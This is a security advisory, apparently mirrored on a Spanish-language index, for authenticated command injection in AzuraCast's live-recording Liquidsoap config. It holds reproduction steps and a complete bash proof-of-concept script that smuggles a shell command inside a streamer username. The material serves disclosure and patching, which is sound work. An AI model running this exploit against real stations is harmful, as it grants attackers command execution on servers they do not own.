GHSA-73RF-JP3G-8RCF
Command injection in live-recording process.run allows station Streamers/Profile users to execute OS commands
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-73RF-JP3G-8RCF divulgada · CVSS 8.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Command injection in live-recording `process.run` allows station Streamers/Profile users to execute OS commands
Summary
AzuraCast generates Liquidsoap config for live broadcast recording that runs:
process.run("mv #{tempPath} #{newPath}")without `process.quote`. The temp path embeds `azuracast.live_dj()`, which is the authenticated streamer username. A station user with Streamers + Profile can set a username containing shell metacharacters, enable `record_streams`, connect to the DJ harbor, and disconnect. When recording closes, the shell executes the injected command as the Liquidsoap / stations user.
This is an AzuraCast config-generation bug (missing quoting / unsafe interpolation), not a Liquidsoap core defect. Liquidsoap documents `process.quote` for this class of issue. Distinct from issue #3465 (harbor auth quoting; fixed via env-var auth).
Not unauthenticated. Authenticated station-scoped RCE. Global admin and `enable_liquidsoap_editing` are not required.
Severity
- CVSS 3.1: 8.8 High — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
- CWE: CWE-78 (OS Command Injection)
- Blast radius: Liquidsoap / stations process (typically the stations container). Host escape not claimed.
Affected
- Product: AzuraCast
- Tested: commit `3f9d6ff626745d9aa20a7158eec7a8583ed635e0` (rolling), Docker + Liquidsoap backend
- Sink: `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php` (`record_streams` / `output.file` `on_close` block)
- Prerequisite feature: `backend_config.record_streams` enabled
Impact
On multi-station / multi-user installs, a station manager (Streamers + Profile) can run arbitrary OS commands as the stations/Liquidsoap user when a live recording finalizes — without global Administration.
Root cause
- `StationStreamer.streamer_username` accepts any non-blank string (truncate 50 only; no charset allowlist).
- `DjAuthCommand` returns that username; `azuracast.liq` stores it in `live_dj`.
- `ConfigWriter` embeds `#{azuracast.live_dj()}` into the recording path, then shells `mv` via unquoted `process.run`.
Steps to reproduce
- As a user with station Profile + Streamers, enable live recording:
PUT /api/station/{station_id}/profile/edit
X-API-Key: <key>
Content-Type: application/json
{"backend_config":{"record_streams":true}}- Create (or update) a streamer with a metacharacter username:
POST /api/station/{station_id}/streamers
X-API-Key: <key>
Content-Type: application/json
{
"streamer_username": "x;id>/tmp/az_rce;#",
"streamer_password": "<password>",
"is_active": true
}- Ensure the station Liquidsoap backend is running. Stream realtime audio to the harbor as that DJ, then disconnect so `on_close` runs:
ffmpeg -re -f lavfi -i anullsrc=r=44100:cl=stereo -t 12 \
-c:a libmp3lame -b:a 128k -f mp3 - \
| curl --http1.0 -X SOURCE \
-u 'x;id>/tmp/az_rce;#:<password>' \
-H 'Content-Type: audio/mpeg' \
--data-binary @- "http://127.0.0.1:8005/"(Use the station’s actual `dj_port` / mount if different.)
- On the AzuraCast host/container, confirm command execution:
cat /tmp/az_rce
# uid=1000(azuracast) gid=1000(azuracast) ...Liquidsoap log also shows the injected path:
Recording stopped: Switching from .../temp/x;id>/tmp/az_rce;#/stream_....mp3.tmp to ...Minimal PoC script
Attached conceptually as `poc.sh` (also paste-ready):
#!/usr/bin/env bash
# Usage: ./poc.sh <base_url> <api_key> [station_id] [harbor_url]
# Requires: curl, ffmpeg, python3
# API key needs station Profile + Streamers.
set -euo pipefail
BASE="${1:?}"; API_KEY="${2:?}"; STATION_ID="${3:-1}"
HARBOR="${4:-http://127.0.0.1:8005/}"
DJ_USER='x;id>/tmp/az_rce;#'; DJ_PASS="poc$(date +%s)"
auth=(-H "X-API-Key: ${API_KEY}" -H 'Content-Type: application/json')
curl -fsS "${auth[@]}" -X PUT "${BASE}/api/station/${STATION_ID}/profile/edit" \
-d '{"backend_config":{"record_streams":true}}' >/dev/null
BODY=$(DJ_USER="$DJ_USER" DJ_PASS="$DJ_PASS" python3 - <<'PY'
import json, os
print(json.dumps({
"streamer_username": os.environ["DJ_USER"],
"streamer_password": os.environ["DJ_PASS"],
"display_name": "poc", "is_active": True,
}))
PY
)
STREAMERS_JSON=$(curl -fsS "${auth[@]}" "${BASE}/api/station/${STATION_ID}/streamers")
EXISTING_ID=$(DJ_USER="$DJ_USER" STREAMERS_JSON="$STREAMERS_JSON" python3 - <<'PY'
import json, os
want = os.environ["DJ_USER"]
for s in json.loads(os.environ["STREAMERS_JSON"]):
if s.get("streamer_username") == want:
print(s["id"]); break
PY
)
if [[ -n "${EXISTING_ID}" ]]; then
curl -fsS "${auth[@]}" -X PUT "${BASE}/api/station/${STATION_ID}/streamer/${EXISTING_ID}" -d "${BODY}" >/dev/null
else
curl -fsS "${auth[@]}" -X POST "${BASE}/api/station/${STATION_ID}/streamers" -d "${BODY}" >/dev/null
fi
curl -sS "${auth[@]}" -X POST "${BASE}/api/station/${STATION_ID}/backend/start" >/dev/null 2>&1 || true
sleep 2
ffmpeg -nostdin -hide_banner -loglevel error -re \
-f lavfi -i anullsrc=r=44100:cl=stereo -t 12 \
-c:a libmp3lame -b:a 128k -f mp3 - \
| curl -fsS --http1.0 -X SOURCE -u "${DJ_USER}:${DJ_PASS}" \
-H 'Content-Type: audio/mpeg' --data-binary @- "${HARBOR}" >/dev/null
echo "Verify on host/container: cat /tmp/az_rce"Suggested fix
- Quote paths with Liquidsoap `process.quote` (or argv-style / `process.quote.command`) before `process.run`.
- Prefer a non-shell rename API if available in the shipped Liquidsoap version.
- Restrict `streamer_username` to a safe charset (e.g. `[A-Za-z0-9_-]`).
- Avoid embedding DJ identity into shell-facing filesystem paths; use an opaque recording id.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Estado del parche por paquete
La fuente no informa paquetes ni versiones corregidas.
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-73rf-jp3g-8rcfLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
